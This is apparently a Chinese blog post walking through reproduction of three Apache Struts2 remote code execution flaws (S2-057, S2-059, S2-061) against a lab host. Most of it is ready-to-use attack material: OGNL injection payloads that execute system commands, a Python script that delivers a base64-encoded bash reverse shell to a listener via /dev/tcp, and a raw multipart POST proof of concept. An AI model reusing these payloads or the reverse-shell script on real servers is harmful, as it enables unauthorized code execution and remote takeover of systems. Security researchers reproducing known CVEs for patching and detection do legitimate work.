0x00 Struts2 简介

Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 Java web 应用程序。该框架多版本存在远程代码执行,

0x01 Struts2 (CVE-2018-11776)

Struts2 S2-057

payload:/struts2-showcase/$%7B233*233%7D/actionChain1.action

验证漏洞存在:

paylaod:ls:查看目录下文件,paylaod需要进行url编码
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

0x02 Struts2 (CVE-2019-0230)

Struts2 S2-059

漏洞验证paylaod:/?id=%25{2*5}


反弹shell:paylaod:使用python3环境,运行前查看环境执行是否正常

反弹paylaod:bash -i >& /dev/tcp/192.168.222.134/6666 0>&1
需要base64加密放入下paylaod
import requests
url = "http://192.168.222.134:8080"
data1 = {"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMi4xMzQvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)
print(123)

执行脚本

shell接收成功:

0x03 Struts2 (CVE-2020-17530)

Struts2 S2-061

POC:post请求:
POST / HTTP/1.1
Host: 192.168.222.134:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=node016yd6hhrzkka19x0sws5e7i9g1.node0
If-None-Match: W/"187-1504645830000"
If-Modified-Since: Tue, 05 Sep 2017 21:10:30 GMT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Connection: close
Content-Length: 829------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

0x04 strust2 命令执行检测工具

github:https://github.com/HatBoy/Struts2-Scan
现支持部分序号的st2检测:s2-053之前,测试过程还是出现了很多问题,实战中建议使用单独的对应exp检测

Struts2 远程代码执行漏洞复现(附Struts2漏洞检测工具)相关推荐

  1. Apache Struts2远程代码执行漏洞(S2-019)复现

    动态方法调用是一种已知会施加可 Apache Struts2远程代码执行漏洞(S2-019)复现能的安全漏洞的机制,但到目前为止,它默认启用,警告用户应尽可能将其关闭. S2-019的poc,是deb ...

  2. struts2远程代码执行漏洞合集

    声明 好好学习,天天向上 S2-001 漏洞描述 因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中.例 ...

  3. apache struts linux,Apache Struts2远程代码执行漏洞(S2-053)(CVE-2017-12611)

    Apache Struts2远程代码执行漏洞(S2-053)(CVE-2017-12611) 发布日期:2017-06-23 更新日期:2017-09-11 受影响系统: Apache Group S ...

  4. CVE-2020-17530: Apache Struts2 远程代码执行漏洞通告

    报告编号:B6-2020-120801 报告来源:360CERT 报告作者:360CERT 更新日期:2020-12-08 0x01 漏洞简述 2020年12月08日,360CERT监测发现 stru ...

  5. 向*葵远程代码执行(自己复现过程)

    前言 本文内容仅为技术科普,请勿用于非法用途! 一.准备测试环境 1.windows虚拟机(内网IP地址172.16.20.68) 2.kali linux (内网IP地址172.16.20.76) ...

  6. Gitea 1.4 未授权远程代码执行漏洞复现

    ​Gitea 1.4 未授权远程代码执行 一.漏洞描述 Gitea是从gogs衍生出的一个开源项目,是一个类似于Github.Gitlab的多用户Git仓库管理平台.其1.4.0版本中有一处逻辑错误, ...

  7. Fastjson 1.2.24远程代码执行漏洞(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)

    1.漏洞信息 1.1 漏洞简介 · 漏洞名称:Fastjson 1.2.24远程代码执行漏洞(com.sun.org.apache.xalan.internal.xsltc.trax.Template ...

  8. struts2漏洞_Apache Struts2057远程代码执行漏洞复现

    网安引领时代,弥天点亮未来 0x00漏洞简述 2018年8月22日,Apache Strust2发布最新安全公告,Apache Struts2存在远程代码执行的高危漏洞(S2-057/CVE-2018 ...

  9. linux struts2漏洞,重大漏洞预警:Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC)

    背景介绍 近日,安全研究人员发现著名J2EE框架--Struts2存在远程代码执行的漏洞,Struts2官方已经确认该漏洞(S2-045,S2-046),并定级为高危漏洞. Struts2 的使用范围 ...

最新文章

  1. python使用matplotlib可视化堆叠的直方图(stacked histogram plot)、多个类别的数据在直方图区间层面累积堆叠起来
  2. R—计算系统发育多样性PD (Calculate Faith’s Phylogenetic Diversity)
  3. r指引到文件夹_R语言中进行文件夹及文件夹内文件操作范例
  4. 计算机电子与网络技术,电子信息工程与计算机网络技术
  5. .net中流的概念!
  6. VTK:PolyData之TransformFilter
  7. 深度解密Go语言之context
  8. 解决input获取焦点时底部菜单被顶上来问题
  9. 排序 oracle,oracle排序
  10. 记百人计划--测试思路
  11. [轉]winrar的命令行
  12. Windows下的Neo4j下载与安装
  13. java的自省机制_深入理解Java反射机制
  14. 处理器访问内存时,CPU核、cache、MMU如何协同工作
  15. java的pdf转永中_永中pdf转word下载|
  16. R plot图片背景设置为透明_CAD2020图形布局输出到打印机、绘图仪,保存和恢复布局的打印设置 - AutoCAD问题库...
  17. python随机抽号_使用python随机抽取评论roll枪
  18. 本地服务:无法访问此网站 localhost 拒绝了我们的连接请求。ERR_CONNECTION_REFUSED
  19. FPGA之4K图像处理
  20. OpenVINO 2021r1 超分辨率重建 INT8量化 - Waifu2x

热门文章

  1. 基于Android RIL层实现来电拦截的技术原理(一)
  2. android 系统卡顿分析,Android-卡顿分析
  3. ORB/BRISK/AKAZE特征点提取、特征匹配的性能比较
  4. linux sfdisk命令,Linux sfdisk命令
  5. “扬帆起航 开启DHR新纪元” 中建信息携手SAP SuccessFactors 人力资源“进化”之旅...
  6. 机械硬盘内部硬件结构和工作原理详解
  7. Matthews相关系数
  8. 2021年中国健康体检现状与格局分析,老龄化趋势推动产业发展,民营占比持续提升「图」
  9. python爬取煎蛋网妹子图,已解密图片~~~~~
  10. 【iOS 开发】进度条控件 UIProgressView